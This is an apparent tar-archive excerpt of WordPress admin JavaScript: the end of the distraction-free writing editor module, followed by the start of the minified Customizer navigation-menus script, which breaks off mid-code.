'dfw-on' ); } } /** * Unbinds events on the editor for distraction free writing. * * @since 4.1.0 * * @return {void} */ function off() { if ( _isOn ) { _isOn = false; $title.add( $content ).off( '.focus' ); fadeIn(); $editor.off( '.focus' ); window.setUserSetting( 'post_dfw', 'off' ); $document.trigger( 'dfw-off' ); } } /** * Binds or unbinds the editor expand events. * * @since 4.1.0 * * @return {void} */ function toggle() { if ( _isOn ) { off(); } else { on(); } } /** * Returns the value of _isOn. * * @since 4.1.0 * * @return {boolean} Returns true if _isOn is true. */ function isOn() { return _isOn; } /** * Fades out all elements except for the editor. * * The fading is done based on key presses and mouse movements. * Also calls the fadeIn on certain key presses * or if the mouse leaves the editor. * * @since 4.1.0 * * @param event The event that triggers this function. * * @return {void} */ function fadeOut( event ) { var isMac, key = event && event.keyCode; if ( window.navigator.platform ) { isMac = ( window.navigator.platform.indexOf( 'Mac' ) > -1 ); } // Fade in and returns on Escape and keyboard shortcut Alt+Shift+W and Ctrl+Opt+W. if ( key === 27 || ( key === 87 && event.altKey && ( ( ! isMac && event.shiftKey ) || ( isMac && event.ctrlKey ) ) ) ) { fadeIn( event ); return; } // Return if any of the following keys or combinations of keys is pressed. if ( event && ( event.metaKey || ( event.ctrlKey && ! event.altKey ) || ( event.altKey && event.shiftKey ) || ( key && ( // Special keys ( tab, ctrl, alt, esc, arrow keys... ). ( key <= 47 && key !== 8 && key !== 13 && key !== 32 && key !== 46 ) || // Windows keys. ( key >= 91 && key <= 93 ) || // F keys. ( key >= 112 && key <= 135 ) || // Num Lock, Scroll Lock, OEM. ( key >= 144 && key <= 150 ) || // OEM or non-printable. key >= 224 ) ) ) ) { return; } if ( ! faded ) { faded = true; clearTimeout( overlayTimer ); overlayTimer = setTimeout( function() { $overlay.show(); }, 600 ); $editor.css( 'z-index', 9998 ); $overlay // Always recalculate the editor area when entering the overlay with the mouse. .on( 'mouseenter.focus', function() { recalcEditorRect(); $window.on( 'scroll.focus', function() { var nScrollY = window.pageYOffset; if ( ( scrollY && mouseY && scrollY !== nScrollY ) && ( mouseY < editorRect.top - buffer || mouseY > editorRect.bottom + buffer ) ) { fadeIn(); } scrollY = nScrollY; } ); } ) .on( 'mouseleave.focus', function() { x = y = null; traveledX = traveledY = 0; $window.off( 'scroll.focus' ); } ) // Fade in when the mouse moves away form the editor area. .on( 'mousemove.focus', function( event ) { var nx = event.clientX, ny = event.clientY, pageYOffset = window.pageYOffset, pageXOffset = window.pageXOffset; if ( x && y && ( nx !== x || ny !== y ) ) { if ( ( ny <= y && ny < editorRect.top - pageYOffset ) || ( ny >= y && ny > editorRect.bottom - pageYOffset ) || ( nx <= x && nx < editorRect.left - pageXOffset ) || ( nx >= x && nx > editorRect.right - pageXOffset ) ) { traveledX += Math.abs( x - nx ); traveledY += Math.abs( y - ny ); if ( ( ny <= editorRect.top - buffer - pageYOffset || ny >= editorRect.bottom + buffer - pageYOffset || nx <= editorRect.left - buffer - pageXOffset || nx >= editorRect.right + buffer - pageXOffset ) && ( traveledX > 10 || traveledY > 10 ) ) { fadeIn(); x = y = null; traveledX = traveledY = 0; return; } } else { traveledX = traveledY = 0; } } x = nx; y = ny; } ) // When the overlay is touched, fade in and cancel the event. .on( 'touchstart.focus', function( event ) { event.preventDefault(); fadeIn(); } ); $editor.off( 'mouseenter.focus' ); if ( focusLostTimer ) { clearTimeout( focusLostTimer ); focusLostTimer = null; } $body.addClass( 'focus-on' ).removeClass( 'focus-off' ); } fadeOutAdminBar(); fadeOutSlug(); } /** * Fades all elements back in. * * @since 4.1.0 * * @param event The event that triggers this function. * * @return {void} */ function fadeIn( event ) { if ( faded ) { faded = false; clearTimeout( overlayTimer ); overlayTimer = setTimeout( function() { $overlay.hide(); }, 200 ); $editor.css( 'z-index', '' ); $overlay.off( 'mouseenter.focus mouseleave.focus mousemove.focus touchstart.focus' ); /* * When fading in, temporarily watch for refocus and fade back out - helps * with 'accidental' editor exits with the mouse. When fading in and the event * is a key event (Escape or Alt+Shift+W) don't watch for refocus. */ if ( 'undefined' === typeof event ) { $editor.on( 'mouseenter.focus', function() { if ( $.contains( $editor.get( 0 ), document.activeElement ) || editorHasFocus ) { fadeOut(); } } ); } focusLostTimer = setTimeout( function() { focusLostTimer = null; $editor.off( 'mouseenter.focus' ); }, 1000 ); $body.addClass( 'focus-off' ).removeClass( 'focus-on' ); } fadeInAdminBar(); fadeInSlug(); } /** * Fades in if the focused element based on it position. * * @since 4.1.0 * * @return {void} */ function maybeFadeIn() { setTimeout( function() { var position = document.activeElement.compareDocumentPosition( $editor.get( 0 ) ); function hasFocus( $el ) { return $.contains( $el.get( 0 ), document.activeElement ); } // The focused node is before or behind the editor area, and not outside the wrap. if ( ( position === 2 || position === 4 ) && ( hasFocus( $menuWrap ) || hasFocus( $wrap ) || hasFocus( $footer ) ) ) { fadeIn(); } }, 0 ); } /** * Fades out the admin bar based on focus on the admin bar. * * @since 4.1.0 * * @return {void} */ function fadeOutAdminBar() { if ( ! fadedAdminBar && faded ) { fadedAdminBar = true; $adminBar .on( 'mouseenter.focus', function() { $adminBar.addClass( 'focus-off' ); } ) .on( 'mouseleave.focus', function() { $adminBar.removeClass( 'focus-off' ); } ); } } /** * Fades in the admin bar. * * @since 4.1.0 * * @return {void} */ function fadeInAdminBar() { if ( fadedAdminBar ) { fadedAdminBar = false; $adminBar.off( '.focus' ); } } /** * Fades out the edit slug box. * * @since 4.1.0 * * @return {void} */ function fadeOutSlug() { if ( ! fadedSlug && faded && ! $slug.find( ':focus').length ) { fadedSlug = true; $slug.stop().fadeTo( 'fast', 0.3 ).on( 'mouseenter.focus', fadeInSlug ).off( 'mouseleave.focus' ); $slugFocusEl.on( 'focus.focus', fadeInSlug ).off( 'blur.focus' ); } } /** * Fades in the edit slug box. * * @since 4.1.0 * * @return {void} */ function fadeInSlug() { if ( fadedSlug ) { fadedSlug = false; $slug.stop().fadeTo( 'fast', 1 ).on( 'mouseleave.focus', fadeOutSlug ).off( 'mouseenter.focus' ); $slugFocusEl.on( 'blur.focus', fadeOutSlug ).off( 'focus.focus' ); } } /** * Triggers the toggle on Alt + Shift + W. * * Keycode 87 = w. * * @since 4.1.0 * * @param {event} event The event to trigger the toggle. * * @return {void} */ function toggleViaKeyboard( event ) { if ( event.altKey && event.shiftKey && 87 === event.keyCode ) { toggle(); } } if ( $( '#postdivrich' ).hasClass( 'wp-editor-expand' ) ) { $content.on( 'keydown.focus-shortcut', toggleViaKeyboard ); } /** * Adds the distraction free writing button when setting up TinyMCE. * * @since 4.1.0 * * @param {event} event The TinyMCE editor setup event. * @param {object} editor The editor to add the button to. * * @return {void} */ $document.on( 'tinymce-editor-setup.focus', function( event, editor ) { editor.addButton( 'dfw', { active: _isOn, classes: 'wp-dfw btn widget', disabled: ! _isActive, onclick: toggle, onPostRender: function() { var button = this; editor.on( 'init', function() { if ( button.disabled() ) { button.hide(); } } ); $document .on( 'dfw-activate.focus', function() { button.disabled( false ); button.show(); } ) .on( 'dfw-deactivate.focus', function() { button.disabled( true ); button.hide(); } ) .on( 'dfw-on.focus', function() { button.active( true ); } ) .on( 'dfw-off.focus', function() { button.active( false ); } ); }, tooltip: 'Distraction-free writing mode', shortcut: 'Alt+Shift+W' } ); editor.addCommand( 'wpToggleDFW', toggle ); editor.addShortcut( 'access+w', '', 'wpToggleDFW' ); } ); /** * Binds and unbinds events on the editor. * * @since 4.1.0 * * @param {event} event The TinyMCE editor init event. * @param {object} editor The editor to bind events on. * * @return {void} */ $document.on( 'tinymce-editor-init.focus', function( event, editor ) { var mceBind, mceUnbind; function focus() { editorHasFocus = true; } function blur() { editorHasFocus = false; } if ( editor.id === 'content' ) { $editorWindow = $( editor.getWin() ); $editorIframe = $( editor.getContentAreaContainer() ).find( 'iframe' ); mceBind = function() { editor.on( 'keydown', fadeOut ); editor.on( 'blur', maybeFadeIn ); editor.on( 'focus', focus ); editor.on( 'blur', blur ); editor.on( 'wp-autoresize', recalcEditorRect ); }; mceUnbind = function() { editor.off( 'keydown', fadeOut ); editor.off( 'blur', maybeFadeIn ); editor.off( 'focus', focus ); editor.off( 'blur', blur ); editor.off( 'wp-autoresize', recalcEditorRect ); }; if ( _isOn ) { mceBind(); } // Bind and unbind based on the distraction free writing focus. $document.on( 'dfw-on.focus', mceBind ).on( 'dfw-off.focus', mceUnbind ); // Focus the editor when it is the target of the click event. editor.on( 'click', function( event ) { if ( event.target === editor.getDoc().documentElement ) { editor.focus(); } } ); } } ); /** * Binds events on quicktags init. * * @since 4.1.0 * * @param {event} event The quicktags init event. * @param {object} editor The editor to bind events on. * * @return {void} */ $document.on( 'quicktags-init', function( event, editor ) { var $button; // Bind the distraction free writing events if the distraction free writing button is available. if ( editor.settings.buttons && ( ',' + editor.settings.buttons + ',' ).indexOf( ',dfw,' ) !== -1 ) { $button = $( '#' + editor.name + '_dfw' ); $( document ) .on( 'dfw-activate', function() { $button.prop( 'disabled', false ); } ) .on( 'dfw-deactivate', function() { $button.prop( 'disabled', true ); } ) .on( 'dfw-on', function() { $button.addClass( 'active' ); } ) .on( 'dfw-off', function() { $button.removeClass( 'active' ); } ); } } ); $document.on( 'editor-expand-on.focus', activate ).on( 'editor-expand-off.focus', deactivate ); if ( _isOn ) { $content.on( 'keydown.focus', fadeOut ); $title.add( $content ).on( 'blur.focus', maybeFadeIn ); } window.wp = window.wp || {}; window.wp.editor = window.wp.editor || {}; window.wp.editor.dfw = { activate: activate, deactivate: deactivate, isActive: isActive, on: on, off: off, toggle: toggle, isOn: isOn }; } ); } )( window, window.jQuery ); js/customize-nav-menus.min.js 0000644 00000136220 15233246127 0012242 0 ustar 00 /*! This file is auto-generated */ !function(u,l,m){"use strict";function c(e){return(e=(e=l.sanitize.stripTagsAndEncodeText(e=e||"")).toString().trim())||u.Menus.data.l10n.unnamed}wpNavMenu.originalInit=wpNavMenu.init,wpNavMenu.options.menuItemDepthPerLevel=20,wpNavMenu.options.sortableItems="> .customize-control-nav_menu_item",wpNavMenu.options.targetTolerance=10,wpNavMenu.init=function(){this.jQueryExtensions()},u.Menus=u.Menus||{},u.Menus.data={itemTypes:[],l10n:{},settingTransport:"refresh",phpIntMax:0,defaultSettingValues:{nav_menu:{},nav_menu_item:{}},locationSlugMappedToName:{}},"undefined"!=typeof _wpCustomizeNavMenusSettings&&m.extend(u.Menus.data,_wpCustomizeNavMenusSettings),u.Menus.generatePlaceholderAutoIncrementId=function(){return-Math.ceil(u.Menus.data.phpIntMax*Math.random())},u.Menus.AvailableItemModel=Backbone.Model.extend(m.extend({id:null},u.Menus.data.defaultSettingValues.nav_menu_item)),u.Menus.AvailableItemCollection=Backbone.Collection.extend({model:u.Menus.AvailableItemModel,sort_key:"order",comparator:function(e){return-e.get(this.sort_key)},sortByField:function(e){this.sort_key=e,this.sort()}}),u.Menus.availableMenuItems=new u.Menus.AvailableItemCollection(u.Menus.data.availableMenuItems),u.Menus.insertAutoDraftPost=function(n){var i=m.Deferred(),e=l.ajax.post("customize-nav-menus-insert-auto-draft",{"customize-menus-nonce":u.settings.nonce["customize-menus"],wp_customize:"on",customize_changeset_uuid:u.settings.changeset.uuid,params:n});return e.done(function(t){t.post_id&&(u("nav_menus_created_posts").set(u("nav_menus_created_posts").get().concat([t.post_id])),"page"===n.post_type&&(u.section.has("static_front_page")&&u.section("static_front_page").activate(),u.control.each(function(e){"dropdown-pages"===e.params.type&&e.container.find('select[name^="_customize-dropdown-pages-"]').append(new Option(n.post_title,t.post_id))})),i.resolve(t))}),e.fail(function(e){var t=e||"";void 0!==e.message&&(t=e.message),console.error(t),i.rejectWith(t)}),i.promise()},u.Menus.AvailableMenuItemsPanelView=l.Backbone.View.extend({el:"#available-menu-items",events:{"input #menu-items-search":"debounceSearch","focus .menu-item-tpl":"focus","click .menu-item-tpl":"_submit","click #custom-menu-item-submit":"_submitLink","keypress #custom-menu-item-name":"_submitLink","click .new-content-item .add-content":"_submitNew","keypress .create-item-input":"_submitNew",keydown:"keyboardAccessible"},selected:null,currentMenuControl:null,debounceSearch:null,$search:null,$clearResults:null,searchTerm:"",rendered:!1,pages:{},sectionContent:"",loading:!1,addingNew:!1,initialize:function(){var n=this;u.panel.has("nav_menus")&&(this.$search=m("#menu-items-search"),this.$clearResults=this.$el.find(".clear-results"),this.sectionContent=this.$el.find(".available-menu-items-list"),this.debounceSearch=_.debounce(n.search,500),_.bindAll(this,"close"),m("#customize-controls, .customize-section-back").on("click keydown",function(e){var t=m(e.target).is(".item-delete, .item-delete *"),e=m(e.target).is(".add-new-menu-item, .add-new-menu-item *");!m("body").hasClass("adding-menu-items")||t||e||n.close()}),this.$clearResults.on("click",function(){n.$search.val("").trigger("focus").trigger("input")}),this.$el.on("input","#custom-menu-item-name.invalid, #custom-menu-item-url.invalid",function(){m(this).removeClass("invalid");var e=m(this).attr("aria-describedby");m("#"+e).hide(),m(this).removeAttr("aria-invalid").removeAttr("aria-describedby")}),u.panel("nav_menus").container.on("expanded",function(){n.rendered||(n.initList(),n.rendered=!0)}),this.sectionContent.on("scroll",function(){var e=n.$el.find(".accordion-section.open .available-menu-items-list").prop("scrollHeight"),t=n.$el.find(".accordion-section.open").height();!n.loading&&m(this).scrollTop()>.75*e-t&&(e=m(this).data("type"),t=m(this).data("object"),"search"===e?n.searchTerm&&n.doSearch(n.pages.search):n.loadItems([{type:e,object:t}]))}),u.previewer.bind("url",this.close),n.delegateEvents())},search:function(e){var t=m("#available-menu-items-search"),n=m("#available-menu-items .accordion-section").not(t);e&&this.searchTerm!==e.target.value&&(""===e.target.value||t.hasClass("open")?""===e.target.value&&(t.removeClass("open"),n.show(),this.$clearResults.removeClass("is-visible")):(n.fadeOut(100),t.find(".accordion-section-content").slideDown("fast"),t.addClass("open"),this.$clearResults.addClass("is-visible")),this.searchTerm=e.target.value,this.pages.search=1,this.doSearch(1))},doSearch:function(t){var e,n=this,i=m("#available-menu-items-search"),a=i.find(".accordion-section-content"),o=l.template("available-menu-item");if(n.currentRequest&&n.currentRequest.abort(),!(t<0)){if(1<t)i.addClass("loading-more"),a.attr("aria-busy","true"),l.a11y.speak(u.Menus.data.l10n.itemsLoadingMore);else if(""===n.searchTerm)return a.html(""),void l.a11y.speak("");i.addClass("loading"),n.loading=!0,e=u.previewer.query({excludeCustomizedSaved:!0}),_.extend(e,{"customize-menus-nonce":u.settings.nonce["customize-menus"],wp_customize:"on",search:n.searchTerm,page:t}),n.currentRequest=l.ajax.post("search-available-menu-items-customizer",e),n.currentRequest.done(function(e){1===t&&a.empty(),i.removeClass("loading loading-more"),a.attr("aria-busy","false"),i.addClass("open"),n.loading=!1,e=new u.Menus.AvailableItemCollection(e.items),n.collection.add(e.models),e.each(function(e){a.append(o(e.attributes))}),e.length<20?n.pages.search=-1:n.pages.search=n.pages.search+1,e&&1<t?l.a11y.speak(u.Menus.data.l10n.itemsFoundMore.replace("%d",e.length)):e&&1===t&&l.a11y.speak(u.Menus.data.l10n.itemsFound.replace("%d",e.length))}),n.currentRequest.fail(function(e){e.message&&(a.empty().append(m('<li class="nothing-found"></li>').text(e.message)),l.a11y.speak(e.message)),n.pages.search=-1}),n.currentRequest.always(function(){i.removeClass("loading loading-more"),a.attr("aria-busy","false"),n.loading=!1,n.currentRequest=null})}},initList:function(){var t=this;_.each(u.Menus.data.itemTypes,function(e){t.pages[e.type+":"+e.object]=0}),t.loadItems(u.Menus.data.itemTypes)},loadItems:function(e,t){var i=this,a=[],o={},s=l.template("available-menu-item"),t=_.isString(e)&&_.isString(t)?[{type:e,object:t}]:e;_.each(t,function(e){var t,n=e.type+":"+e.object;-1!==i.pages[n]&&((t=m("#available-menu-items-"+e.type+"-"+e.object)).find(".accordion-section-title").addClass("loading"),o[n]=t,a.push({object:e.object,type:e.type,page:i.pages[n]}))}),0!==a.length&&(i.loading=!0,e=u.previewer.query({excludeCustomizedSaved:!0}),_.extend(e,{"customize-menus-nonce":u.settings.nonce["customize-menus"],wp_customize:"on",item_types:a}),(t=l.ajax.post("load-available-menu-items-customizer",e)).done(function(e){var n;_.each(e.items,function(e,t){0===e.length?(0===i.pages[t]&&o[t].find(".accordion-section-title").addClass("cannot-expand").removeClass("loading").find(".accordion-section-title > button").prop("tabIndex",-1),i.pages[t]=-1):("post_type:page"!==t||o[t].hasClass("open")||o[t].find(".accordion-section-title > button").trigger("click"),e=new u.Menus.AvailableItemCollection(e),i.collection.add(e.models),n=o[t].find(".available-menu-items-list"),e.each(function(e){n.append(s(e.attributes))}),i.pages[t]+=1)})}),t.fail(function(e){"undefined"!=typeof console&&console.error&&console.error(e)}),t.always(function(){_.each(o,function(e){e.find(".accordion-section-title").removeClass("loading")}),i.loading=!1}))},itemSectionHeight:function(){var e=window.innerHeight,t=this.$el.find(".accordion-section:not( #available-menu-items-search ) .accordion-section-content"),n=this.$el.find('.accordion-section:not( #available-menu-items-search ) .available-menu-items-list:not(":only-child")'),e=e-(46*(1+t.length)+14);120<e&&e<290&&(t.css("max-height",e),n.css("max-height",e-60))},select:function(e){this.selected=m(e),this.selected.siblings(".menu-item-tpl").removeClass("selected"),this.selected.addClass("selected")},focus:function(e){this.select(m(e.currentTarget))},_submit:function(e){"keypress"===e.type&&13!==e.which&&32!==e.which||this.submit(m(e.currentTarget))},submit:function(e){var t;(e=e||this.selected)&&this.currentMenuControl&&(this.select(e),t=m(this.selected).data("menu-item-id"),t=this.collection.findWhere({id:t}))&&((t=Object.assign({},t.attributes)).title===t.original_title&&(t.title=""),this.currentMenuControl.addItemToMenu(t),m(e).find(".menu-item-handle").addClass("item-added"))},_submitLink:function(e){"keypress"===e.type&&13!==e.which||this.submitLink()},submitLink:function(){var e,t,n,i=m("#custom-menu-item-name"),a=m("#custom-menu-item-url"),o=m("#custom-url-error"),s=m("#custom-name-error"),r=a.val().trim();this.currentMenuControl&&((t=/^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/).test(r)&&""!==i.val()?(o.hide(),s.hide(),i.removeClass("invalid").removeAttr("aria-invalid","true").removeAttr("aria-describedby","custom-name-error"),a.removeClass("invalid").removeAttr("aria-invalid","true").removeAttr("aria-describedby","custom-name-error"),e={title:i.val(),url:r,type:"custom",type_label:u.Menus.data.l10n.custom_label,object:"custom"},this.currentMenuControl.addItemToMenu(e),a.val("").attr("placeholder","https://"),i.val("")):(t.test(r)||(a.addClass("invalid").attr("aria-invalid","true").attr("aria-describedby","custom-url-error"),o.show(),n=o.text(),l.a11y.speak(n,"assertive")),""===i.val()&&(i.addClass("invalid").attr("aria-invalid","true").attr("aria-describedby","custom-name-error"),s.show(),n=""===n?s.text():n+s.text(),l.a11y.speak(n,"assertive"))))},_submitNew:function(e){"keypress"===e.type&&13!==e.which||this.addingNew||(e=m(e.target).closest(".accordion-section"),this.submitNew(e))},submitNew:function(n){var i=this,a=n.find(".create-item-input"),e=a.val(),t=n.find(".available-menu-items-list"),o=t.data("type"),s=t.data("object"),r=t.data("type_label"),t=n.find(".create-item-error");this.currentMenuControl&&"post_type"===o&&(""===a.val().trim()?(n.addClass("form-invalid"),a.attr("aria-invalid","true"),a.attr("aria-describedby",t.attr("id")),t.slideDown("fast"),l.a11y.speak(t.text())):(n.removeClass("form-invalid"),a.attr("aria-invalid","false"),a.removeAttr("aria-describedby"),t.hide(),n.find(".accordion-section-title").addClass("loading"),i.addingNew=!0,a.attr("disabled","disabled"),u.Menus.insertAutoDraftPost({post_title:e,post_type:s}).done(function(e){var t,e=new u.Menus.AvailableItemModel({id:"post-"+e.post_id,title:a.val(),type:o,type_label:r,object:s,object_id:e.post_id,url:e.url});i.currentMenuControl.addItemToMenu(e.attributes),u.Menus.availableMenuItemsPanel.collection.add(e),t=n.find(".available-menu-items-list"),(e=m(l.template("available-menu-item")(e.attributes))).find(".menu-item-handle:first").addClass("item-added"),t.prepend(e),t.scrollTop(),a.val("").removeAttr("disabled"),i.addingNew=!1,n.find(".accordion-section-title").removeClass("loading")})))},open:function(e){var t,n=this;this.currentMenuControl=e,this.itemSectionHeight(),u.section.has("publish_settings")&&u.section("publish_settings").collapse(),m("body").addClass("adding-menu-items"),t=function(){n.close(),m(this).off("click",t)},m("#customize-preview").on("click",t),_(this.currentMenuControl.getMenuItemControls()).each(function(e){e.collapseForm()}),this.$el.find(".selected").removeClass("selected"),this.$search.trigger("focus")},close:function(e){(e=e||{}).returnFocus&&this.currentMenuControl&&this.currentMenuControl.container.find(".add-new-menu-item").focus(),this.currentMenuControl=null,this.selected=null,m("body").removeClass("adding-menu-items"),m("#available-menu-items .menu-item-handle.item-added").removeClass("item-added"),this.$search.val("").trigger("input")},keyboardAccessible:function(e){var t=13===e.which,n=27===e.which,i=9===e.which&&e.shiftKey,a=m(e.target).is(this.$search);t&&!this.$search.val()||(a&&i?(this.currentMenuControl.container.find(".add-new-menu-item").focus(),e.preventDefault()):n&&this.close({returnFocus:!0}))}}),u.Menus.MenusPanel=u.Panel.extend({attachEvents:function(){u.Panel.prototype.attachEvents.call(this);var t=this.container.find(".panel-meta"),n=t.find(".customize-help-toggle"),i=t.find(".customize-panel-description"),a=m("#screen-options-wrap"),o=t.find(".customize-screen-options-toggle");o.on("click keydown",function(e){if(!u.utils.isKeydownButNotEnterEvent(e))return e.preventDefault(),i.not(":hidden")&&(i.slideUp("fast"),n.attr("aria-expanded","false")),"true"===o.attr("aria-expanded")?(o.attr("aria-expanded","false"),t.removeClass("open"),t.removeClass("active-menu-screen-options"),a.slideUp("fast")):(o.attr("aria-expanded","true"),t.addClass("open"),t.addClass("active-menu-screen-options"),a.slideDown("fast")),!1}),n.on("click keydown",function(e){u.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),"true"===o.attr("aria-expanded")&&(o.attr("aria-expanded","false"),n.attr("aria-expanded","true"),t.addClass("open"),t.removeClass("active-menu-screen-options"),a.slideUp("fast"),i.slideDown("fast")))})},ready:function(){var e=this;e.container.find(".hide-column-tog").on("click",function(){e.saveManageColumnsState()}),u.section("menu_locations",function(e){e.headContainer.prepend(l.template("nav-menu-locations-header")(u.Menus.data))})},saveManageColumnsState:_.debounce(function(){var e=this;e._updateHiddenColumnsRequest&&e._updateHiddenColumnsRequest.abort(),e._updateHiddenColumnsRequest=l.ajax.post("hidden-columns",{hidden:e.hidden(),screenoptionnonce:m("#screenoptionnonce").val(),page:"nav-menus"}),e._updateHiddenColumnsRequest.always(function(){e._updateHiddenColumnsRequest=null})},2e3),checked:function(){},unchecked:function(){},hidden:function(){return m(".hide-column-tog").not(":checked").map(function(){var e=this.id;return e.substring(0,e.length-5)}).get().join(",")}}),u.Menus.MenuSection=u.Section.extend({initialize:function(e,t){u.Section.prototype.initialize.call(this,e,t),this.deferred.initSortables=m.Deferred()},ready:function(){var e,t,n=this;if(void 0===n.params.menu_id)throw new Error("params.menu_id was not defined");n.active.validate=function(){return!!u.has(n.id)&&!!u(n.id).get()},n.populateControls(),n.navMenuLocationSettings={},n.assignedLocations=new u.Value([]),u.each(function(e,t){t=t.match(/^nav_menu_locations\[(.+?)]/);t&&(n.navMenuLocationSettings[t[1]]=e).bind(function(){n.refreshAssignedLocations()})}),n.assignedLocations.bind(function(e){n.updateAssignedLocationsInSectionTitle(e)}),n.refreshAssignedLocations(),u.bind("pane-contents-reflowed",function(){n.contentContainer.parent().length&&(n.container.find(".menu-item .menu-item-reorder-nav button").attr({tabindex:"0","aria-hidden":"false"}),n.container.find(".menu-item.move-up-disabled .menus-move-up").attr({tabindex:"-1","aria-hidden":"true"}),n.container.find(".menu-item.move-down-disabled .menus-move-down").attr({tabindex:"-1","aria-hidden":"true"}),n.container.find(".menu-item.move-left-disabled .menus-move-left").attr({tabindex:"-1","aria-hidden":"true"}),n.container.find(".menu-item.move-right-disabled .menus-move-right").attr({tabindex:"-1","aria-hidden":"true"}))}),t=function(){var e="field-"+m(this).val()+"-active";n.contentContainer.toggleClass(e,m(this).prop("checked"))},(e=u.panel("nav_menus").contentContainer.find(".metabox-prefs:first").find(".hide-column-tog")).each(t),e.on("click",t)},populateControls:function(){var e,t=this,n=t.id+"[name]",i=u.control(n);i||(i=new u.controlConstructor.nav_menu_name(n,{type:"nav_menu_name",label:u.Menus.data.l10n.menuNameLabel,section:t.id,priority:0,settings:{default:t.id}}),u.control.add(i),i.active.set(!0)),(n=u.control(t.id))||(n=new u.controlConstructor.nav_menu(t.id,{type:"nav_menu",section:t.id,priority:998,settings:{default:t.id},menu_id:t.params.menu_id}),u.control.add(n),n.active.set(!0)),i=t.id+"[locations]",u.control(i)||(i=new u.controlConstructor.nav_menu_locations(i,{section:t.id,priority:999,settings:{default:t.id},menu_id:t.params.menu_id}),u.control.add(i.id,i),n.active.set(!0)),i=t.id+"[auto_add]",(n=u.control(i))||(n=new u.controlConstructor.nav_menu_auto_add(i,{type:"nav_menu_auto_add",label:"",section:t.id,priority:1e3,settings:{default:t.id}}),u.control.add(n),n.active.set(!0)),i=t.id+"[delete]",(e=u.control(i))||(e=new u.Control(i,{section:t.id,priority:1001,templateId:"nav-menu-delete-button"}),u.control.add(e.id,e),e.active.set(!0),e.deferred.embedded.done(function(){e.container.find("button").on("click",function(){var e=t.params.menu_id;u.Menus.getMenuControl(e).setting.set(!1)})}))},refreshAssignedLocations:function(){var n=this.params.menu_id,i=[];_.each(this.navMenuLocationSettings,function(e,t){e()===n&&i.push(t)}),this.assignedLocations.set(i)},updateAssignedLocationsInSectionTitle:function(e){var n=this.container.find(".accordion-section-title button:first");n.find(".menu-in-location").remove(),_.each(e,function(e){var t=m('<span class="menu-in-location"></span>'),e=u.Menus.data.locationSlugMappedToName[e];t.text(u.Menus.data.l10n.menuLocation.replace("%s",e)),n.append(t)}),this.container.toggleClass("assigned-to-menu-location",0!==e.length)},onChangeExpanded:function(e,t){var n,i=this;e&&(wpNavMenu.menuList=i.contentContainer,wpNavMenu.targetList=wpNavMenu.menuList,m("#menu-to-edit").removeAttr("id"),wpNavMenu.menuList.attr("id","menu-to-edit").addClass("menu"),u.Menus.MenuItemControl.prototype.initAccessibility(),_.each(u.section(i.id).controls(),function(e){"nav_menu_item"===e.params.type&&e.actuallyEmbed()}),t.completeCallback&&(n=t.completeCallback),t.completeCallback=function(){"resolved"!==i.deferred.initSortables.state()&&(wpNavMenu.initSortables(),i.deferred.initSortables.resolve(wpNavMenu.menuList),u.control("nav_menu["+String(i.params.menu_id)+"]").reflowMenuItems()),_.isFunction(n)&&n()}),u.Section.prototype.onChangeExpanded.call(i,e,t)},highlightNewItemButton:function(){u.utils.highlightButton(this.contentContainer.find(".add-new-menu-item"),{delay:2e3})}}),u.Menus.createNavMenu=function(e){var t=u.Menus.generatePlaceholderAutoIncrementId(),n="nav_menu["+String(t)+"]";return u.create(n,n,{},{type:"nav_menu",transport:u.Menus.data.settingTransport,previewer:u.previewer}).set(m.extend({},u.Menus.data.defaultSettingValues.nav_menu,{name:e||""})),u.section.add(new u.Menus.MenuSection(n,{panel:"nav_menus",title:c(e),customizeAction:u.Menus.data.l10n.customizingMenus,priority:10,menu_id:t}))},u.Menus.NewMenuSection=u.Section.extend({attachEvents:function(){var t=this,e=t.container,n=t.contentContainer,i=/^nav_menu\[/;function a(){var t;e.find(".add-new-menu-notice").prop("hidden",(t=0,u.each(function(e){i.test(e.id)&&!1!==e.get()&&(t+=1)}),0<t))}function o(e){i.test(e.id)&&(e.bind(a),a())}t.headContainer.find(".accordion-section-title").replaceWith(l.template("nav-menu-create-menu-section-title")),e.on("click",".customize-add-menu-button",function(){t.expand()}),n.on("keydown",".menu-name-field",function(e){13===e.which&&t.submit()}),n.on("click","#customize-new-menu-submit",function(e){t.submit(),e.stopPropagation(),e.preventDefault()}),u.each(o),u.bind("add",o),u.bind("removed",function(e){i.test(e.id)&&(e.unbind(a),a())}),a(),u.Section.prototype.attachEvents.apply(t,arguments)},ready:function(){this.populateControls()},populateControls:function(){var e=this,t=e.id+"[name]",n=u.control(t);n||(n=new u.controlConstructor.nav_menu_name(t,{label:u.Menus.data.l10n.menuNameLabel,description:u.Menus.data.l10n.newMenuNameDescription,section:e.id,priority:0}),u.control.add(n.id,n),n.active.set(!0)),t=e.id+"[locations]",(n=u.control(t))||(n=new u.controlConstructor.nav_menu_locations(t,{section:e.id,priority:1,menu_id:"",isCreating:!0}),u.control.add(t,n),n.active.set(!0)),t=e.id+"[submit]",(n=u.control(t))||(n=new u.Control(t,{section:e.id,priority:1,templateId:"nav-menu-submit-new-button"}),u.control.add(t,n),n.active.set(!0))},submit:function(){var t,e=this.contentContainer,n=e.find(".menu-name-field").first(),i=n.val();i?(t=u.Menus.createNavMenu(i),n.val(""),n.removeClass("invalid"),e.find(".assigned-menu-location input[type=checkbox]").each(function(){var e=m(this);e.prop("checked")&&(u("nav_menu_locations["+e.data("location-id")+"]").set(t.params.menu_id),e.prop("checked",!1))}),l.a11y.speak(u.Menus.data.l10n.menuAdded),t.focus({completeCallback:function(){t.highlightNewItemButton()}})):(n.addClass("invalid"),n.focus())},selectDefaultLocation:function(e){var t=u.control(this.id+"[locations]"),n={};null!==e&&(n[e]=!0),t.setSelections(n)}}),u.Menus.MenuLocationControl=u.Control.extend({initialize:function(e,t){var n=e.match(/^nav_menu_locations\[(.+?)]/);this.themeLocation=n[1],u.Control.prototype.initialize.call(this,e,t)},ready:function(){var n=this,i=/^nav_menu\[(-?\d+)]/;n.setting.validate=function(e){return""===e?0:parseInt(e,10)},n.container.find(".create-menu").on("click",function(){var e=u.section("add_menu");e.selectDefaultLocation(this.dataset.locationId),e.focus()}),n.container.find(".edit-menu").on("click",function(){var e=n.setting();u.section("nav_menu["+e+"]").focus()}),n.setting.bind("change",function(){var 